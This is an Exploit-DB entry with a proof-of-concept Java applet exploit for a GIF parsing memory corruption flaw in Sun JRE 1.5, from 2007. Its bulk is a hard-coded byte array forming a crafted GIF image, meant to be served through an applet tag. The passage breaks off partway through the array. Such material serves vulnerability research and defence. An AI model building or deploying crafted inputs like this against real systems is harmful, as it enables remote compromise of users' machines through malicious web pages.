Exploit-DB #3168
Description: Sun Microsystems Java - '.GIF' File Parsing Memory Corruption
Type: remote
Platform: windows
Date: 2007-01-21
Author: luoluo

Exploit:
/*
*
* FileName: JvmGifVulPoc.java
*
* Date: 2007-01-21
*
* Description: Sun Microsystems Java GIF File Parsing Memory Corruption Vulnerability Prove Of Concept Exploit
*
* Environment: Only successfully tested on Sun Jre 1.5
*
* Author: luoluo
*
* Contact: luoluonet_at_hotmail.com || luoluonet_at_126.com || luoluonet_at_yahoo.com
*
* Team: PST(Ph4nt0m Security Team, http://www.ph4nt0m.org) from P.R.C.
*
* Thanks YunShu very much, he helps to find a simple way to modify the width of image block.
* Thanks all friends from ph4nt0m secutiry team, espacially Axis SuperHei Onlyu Nop EnvyMask CoCo OYXin Mix and etc.
* Best wishes to the newly married couple TomyChen and his wife!
*
* <applet code="JvmGifVulPoc.class" width="100" height="100">
*/

import java.io.*;
import java.applet.*;
import javax.imageio.*;
import java.util.*;
import java.awt.*;

public class JvmGifVulPoc extends Applet {
	private Image image = null;	
	byte[] imageBytes = new byte[]
	{
		(byte)0x47, (byte)0x49, (byte)0x46, (byte)0x38, (byte)0x39, (byte)0x61, (byte)0x96, (byte)0x00, (byte)0x8c, (byte)0x00, (byte)0xe6, (byte)0x00, (byte)0x00, (byte)0x2d, (byte)0x20, (byte)0x21,
		(byte)0x4a, (byte)0x6c, (byte)0xbd, (byte)0x49, (byte)0x5b, (byte)0x91, (byte)0x7b, (byte)0x88, (byte)0xc4, (byte)0x69, (byte)0x59, (byte)0x51, (byte)0x6d, (byte)0x71, (byte)0x8e, (byte)0x5b,	
		(byte)0x4b, (byte)0x39, (byte)0x7b, (byte)0x63, (byte)0x59, (byte)0xb8, (byte)0xaa, (byte)0x97, (byte)0xfe, (byte)0xf8, (byte)0xec, (byte)0x26, (byte)0x26, (byte)0x41, (byte)0x4b, (byte)0x47,
		(byte)0x58, (byte)0x4a, (byte)0x6c, (byte)0xb3, (byte)0x91, (byte)0x7b, (byte)0x6f, (byte)0xf4, (byte)0xe7, (byte)0xda, (byte)0xa9, (byte)0x95, (byte)0x8c, (byte)0x60, (byte)0x5b, (byte)0x64,
		(byte)0x52, (byte)0x3f, (byte)0x3a, (byte)0xea, (byte)0xd7, (byte)0xc6, (byte)0x45, (byte)0x4b, (byte)0x63, (byte)0x49, (byte)0x33, (byte)0x2e, (byte)0x3e, (byte)0x39, (byte)0x4e, (byte)0x5f,
		(byte)0x6a, (byte)0x92, (byte)0x74, (byte)0x64, (byte)0x63, (byte)0xde, (byte)0xc8, (byte)0xbd, (byte)0xd4, (byte)0xb5, (byte)0xa3, (byte)0xa4, (byte)0x82, (byte)0x71, (byte)0x61, (byte)0x4b,
		(byte)0x3b, (byte)0x7d, (byte)0x6c, (byte)0x6a, (byte)0x99, (byte)0x99, (byte)0x99, (byte)0x40, (byte)0x2c, (byte)0x28, (byte)0x52, (byte)0x6a, (byte)0xbe, (byte)0x52, (byte)0x5b, (byte)0x81,
		(byte)0x76, (byte)0x7a, (byte)0x96, (byte)0x4a, (byte)0x3c, (byte)0x3a, (byte)0x52, (byte)0x6b, (byte)0xb5, (byte)0x33, (byte)0x33, (byte)0x66, (byte)0x50, (byte)0x6b, (byte)0xaf, (byte)0xbf,
		(byte)0xc2, (byte)0xde, (byte)0x58, (byte)0x66, (byte)0x9b, (byte)0x72, (byte)0x5c, (byte)0x54, (byte)0x63, (byte)0x52, (byte)0x53, (byte)0x42, (byte)0x4f, (byte)0x7a, (byte)0xa6, (byte)0x9c,
		(byte)0xa2, (byte)0x33, (byte)0x28, (byte)0x33, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xa4, (byte)0x8d, (byte)0x84, (byte)0xe3, (byte)0xbf, (byte)0xa5, (byte)0x43, (byte)0x32, (byte)0x3a,
		(byte)0x54, (byte)0x30, (byte)0x2d, (byte)0x53, (byte)0x4a, (byte)0x4b, (byte)0x8c, (byte)0x81, (byte)0x8c, (byte)0x85, (byte)0x73, (byte)0x6c, (byte)0x85, (byte)0x6a, (byte)0x61, (byte)0x58,
		(byte)0x6c, (byte)0xa6, (byte)0x63, (byte)0x52, (byte)0x4a, (byte)0x87, (byte)0x7b, (byte)0x7f, (byte)0xf6, (byte)0xee, (byte)0xe7, (byte)0x5c, (byte)0x60, (byte)0x7e, (byte)0xb6, (byte)0xb6,
		(byte)0xd1, (byte)0x5a, (byte)0x51, (byte)0x54, (byte)0x62, (byte)0x58, (byte)0x5a, (byte)0x72, (byte)0x66, (byte)0x6b, (byte)0x53, (byte)0x73, (byte)0xb6, (byte)0x37, (byte)0x2a, (byte)0x26,
		(byte)0xc9, (byte)0xa5, (byte)0x8e, (byte)0x47, (byte)0x43, (byte)0x4d, (byte)0x3b, (byte)0x37, (byte)0x3b, (byte)0x89, (byte)0x8c, (byte)0xa6, (byte)0x51, (byte)0x60, (byte)0x8f, (byte)0xd4,
		(byte)0xd6, (byte)0xdc, (byte)0x55, (byte)0x43, (byte)0x44, (byte)0x4b, (byte)0x6b, (byte)0xc4, (byte)0x67, (byte)0x72, (byte)0x9d, (byte)0x55, (byte)0x51, (byte)0x68, (byte)0x55, (byte)0x73,
		(byte)0xbd, (byte)0x40, (byte)0x44, (byte)0x60, (byte)0x8c, (byte)0x71, (byte)0x6f, (byte)0xb7, (byte)0x9c, (byte)0x8e, (byte)0xfe, (byte)0xfb, (byte)0xf6, (byte)0x41, (byte)0x31, (byte)0x2c,
		(byte)0x52, (byte)0x64, (byte)0xa6, (byte)0x58, (byte)0x41, (byte)0x31, (byte)0x66, (byte)0x66, (byte)0x66, (byte)0x49, (byte)0x54, (byte)0x78, (byte)0xce, (byte)0xb8, (byte)0xb1, (byte)0xeb,
		(byte)0xdc, (byte)0xd1, (byte)0xaa, (byte)0xa5, (byte)0xbe, (byte)0x5d, (byte)0x6f, (byte)0xac, (byte)0xe3, (byte)0xc8, (byte)0xb7, (byte)0x92, (byte)0x5b, (byte)0x5f, (byte)0xa1, (byte)0x84,
		(byte)0x7c, (byte)0x65, (byte)0x69, (byte)0x7c, (byte)0x59, (byte)0x6b, (byte)0x9c, (byte)0xb0, (byte)0x90, (byte)0x7d, (byte)0x5a, (byte)0x49, (byte)0x41, (byte)0x4b, (byte)0x39, (byte)0x31,
		(byte)0xe9, (byte)0xeb, (byte)0xf4, (byte)0x9c, (byte)0x94, (byte)0xad, (byte)0x74, (byte)0x63, (byte)0x59, (byte)0x33, (byte)0x33, (byte)0x33, (byte)0xc5, (byte)0xaa, (byte)0x9c, (byte)0x5a,
		(byte)0x4c, (byte)0x4b, (byte)0x6a, (byte)0x52, (byte)0x4b, (byte)0xae, (byte)0x75, (byte)0x78, (byte)0x7b, (byte)0x69, (byte)0x62, (byte)0x74, (byte)0x7e, (byte)0xae, (byte)0x4a, (byte)0x40,
		(byte)0x42, (byte)0x59, (byte)0x3e, (byte)0x3c, (byte)0x73, (byte)0x6c, (byte)0x74, (byte)0x51, (byte)0x39, (byte)0x2f, (byte)0xb5, (byte)0x9e, (byte)0x97, (byte)0x2f, (byte)0x2f, (byte)0x40,
		(byte)0x52, (byte)0x4b, (byte)0x55, (byte)0xf6, (byte)0xef, (byte)0xdf, (byte)0x63, (byte)0x70, (byte)0xa3, (byte)0x6c, (byte)0x5c, (byte)0x5b, (byte)0x48, (byte)0x71, (byte)0xbb, (byte)0x7a,
		(byte)0x70, (byte)0x77, (byte)0x3b, (byte)0x44, (byte)0x69, (byte)0x5b, (byte)0x72, (byte)0xb5, (byte)0x6a, (byte)0x55, (byte)0x51, (byte)0x4c, (byte)0x71, (byte)0xb6, (byte)0x5b, (byte)0x64,
		(byte)0x90, (byte)0x64, (byte)0x4e, (byte)0x43, (byte)0x42, (byte)0x3a, (byte)0x3c, (byte)0x6c, (byte)0x7c, (byte)0xab, (byte)0x93, (byte)0x72, (byte)0x66, (byte)0x21, (byte)0xf9, (byte)0x04,
		(byte)0x04, (byte)0x14, (byte)0x00, (byte)0xff, (byte)0x00, (byte)0x2c, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)